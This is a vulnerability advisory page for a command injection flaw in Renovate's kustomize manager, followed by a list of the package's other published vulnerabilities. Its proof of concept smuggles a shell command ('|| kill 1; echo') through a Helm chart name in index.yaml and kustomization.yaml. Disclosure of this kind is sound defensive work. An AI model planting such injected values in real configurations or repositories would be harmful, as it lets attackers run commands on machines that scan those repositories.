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Medium

Renovate vulnerable to arbitrary command injection via kustomize manager and malicious helm repository

  • Disclosed: 13.01.2026
  • Updated: 11.10.2026 10:22

Summary

The user-provided chart name in the kustomize manager is appended to the helm pull --untar command without proper sanitization.

Details

Adversaries can provide a maliciously crafted kustomization.yaml in conjunction with a Helm repo's index.yaml file to trick Renovate to execute arbitrary code. The value for the depName argument for the helmRepositoryArgs function in lib/modules/manager/kustomize/artifacts.ts is not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 39.218.9 (https://github.com/renovatebot/renovate/commit/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37), released on March 26 of 2025.

PoC

  1. Create a mock Helm repository. Have its index.yaml endpoint return:
yaml
apiVersion: v1
entries:
  "example || kill 1; echo":
    - version: 1.0.1
      created: 2016-10-06T16:23:20.499814565-06:00
    - version: 1.0.0
      created: 2016-10-06T16:23:20.499543808-06:00
  1. Create a git repo with the following content:

renovate.json5:

json5
{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  postUpdateOptions: [
    "kustomizeInflateHelmCharts",
  ]
}

kustomization.yaml:

yaml
kind: Kustomization
apiVersion: kustomize.config.k8s.io/v1beta1
helmCharts:
  - name: "example || kill 1; echo"
    repo: TODO reference the mocked Helm repository over https
    version: 1.0.0

with the todo resolved

charts/.gitkeep:

(empty)

  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package renovate >= 39.218.0, < 40.33.0 40.33.0

References

CVSS score 6.7/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-77
Platform
npm
Package
renovate
Disclosed
13.01.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-xv56-3wq5-9997 - CC BY 4.0

Vulnerability history: renovate

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (11) in the archive
Total entries
11
First → latest
10.2019 04.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Medium 11

Disclosures per year

Severity:
  1. Renovate affected by remote code execution was possible using the bazel-module or bazelisk managers, when using lockFileMaintenance
    Medium · 6.3 CVE-2026-76226 >= 43.65.0, < 43.102.11 43.102.11
  2. Child processes spawned by Renovate incorrectly have full access to environment variables
    Medium · 5.5 CVE-2026-76227 >= 42.68.1, < 42.96.3, >= 43.0.0, < 43.4.4 42.96.3, 43.4.4
  3. Renovate vulnerable to arbitrary command injection via helmv3 manager and malicious Chart.yaml file
    Medium · 6.7 CVE-2026-76232 >= 31.51.0, < 40.33.0 40.33.0
  4. Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file
    Medium · 6.7 CVE-2026-76233 >= 39.53.0, < 40.33.0 40.33.0
  5. Renovate vulnerable to arbitrary command injection via hermit manager and maliciously named dependencies
    Medium · 6.7 CVE-2026-76231 >= 32.135.0, < 40.33.0 40.33.0
  6. Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration
    Medium · 6.7 CVE-2026-76230 >= 35.63.0, < 40.33.0 40.33.0
  7. Renovate vulnerable to arbitrary command injection via kustomize manager and malicious helm repository this entry
    Medium · 6.7 CVE-2026-76229 >= 39.218.0, < 40.33.0 40.33.0
  8. Renovate vulnerable to arbitrary command injection via Gradle Wrapper and malicious `distributionUrl`
    Medium · 6.7 CVE-2026-76228 >= 32.124.0, < 42.68.5 42.68.5
  9. Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases
    Medium · 5.4 CVE-2024-58376 >= 37.158.0, < 37.199.0 37.199.0
  10. Renovate vulnerable to Azure DevOps token leakage in logs
    Medium CVE-2020-37267 >= 19.180.0, < 23.25.1 23.25.1
  11. Renovate vulnerable to leakage of temporary repository tokens into Pull Request comments
    Medium · 5.3 CVE-2019-25766 >= 13.87.0, < 19.38.7 19.38.7

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